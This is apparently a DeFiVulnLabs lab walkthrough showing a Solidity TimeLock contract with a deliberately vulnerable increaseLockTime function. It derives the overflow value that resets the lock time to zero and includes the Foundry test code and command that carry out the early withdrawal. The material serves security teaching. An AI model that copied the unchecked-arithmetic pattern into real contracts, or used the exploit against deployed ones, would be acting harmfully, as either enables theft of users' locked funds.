✅
Integer Overflow 1
A timelock contract with overflowable lock time
DeFiVulnLabs/Overflow.sol at main · SunWeb3Sec/DeFiVulnLabs
GitHub
Integer Overflow 1
- In previous versions of Solidity (prior Solidity 0.8.x) an integer would automatically roll-over to a lower or higher number.
- Without SafeMath (prior Solidity 0.8.x)
// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for at least a week.
// User can also extend the wait time beyond the 1 week waiting eriod.
/*
1. Alice and bob both have 1 Ether balance
2. Deploy TimeLock Contract
3. Alice and bob both deposit 1 Ether to TimeLock, they need to wait 1 week to unlock Ether
4. Bob caused an overflow on his lockTime
5, Alice can't withdraw 1 Ether, because the lock time not expired.
6. Bob can withdraw 1 Ether, because the lockTime is overflow to 0
What happened?
Attack caused the TimeLock.lockTime to overflow,
and was able to withdraw before the 1 week waiting period.
*/
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease; // vulnerable
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
This contract is a timelock contract, where users can deposit and withdraw but only withdraw after a "lock time". The lock time is set to 1 week and our objective is to break the restriction and withdraw money before that 1 week limitation.
Before Solidity v0.8, integer overlfow/underflow was a thing. In this challenge, the function
increaseLockTime() is vulnerable to integer overflow attack:function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease; // vulnerable
}
It is possible to overflow
lockTime[msg.sender] to 0.Do the math:
current_locktime + x = 0
=> recall that type(uint).max = 0xFFFFFFFF...
=> the zero after overflow should be type(uint).max + 1
=> current_locktime + x = type(uint).max + 1
=> x = type(uint).max + 1 - current_locktime
This means
increaseLockTime(type(uint).max + 1 - current_locktime) would overflow locktime to 0.Here is the setup with comments:
function setUp() public {
// Deploy a new TimeLock contract.
TimeLockContract = new TimeLock();
// vm.addr(private_key) computes the address for a given private key.
alice = vm.addr(1);
bob = vm.addr(2);
// vm.deal(who, newBalance) sets the balance of an address who to newBalance.
vm.deal(alice, 1 ether);
vm.deal(bob, 1 ether);
}
In
testFailOverflow(), implement the overflow exploit:TimeLockContract.increaseLockTime(
type(uint).max + 1 - TimeLockContract.lockTime(bob)
);
This operation is done by bob. Now bob can withdraw but alice can not.
Run test:
forge test --contracts ./src/test/Overflow.sol -vvvv
Last modified 1d ago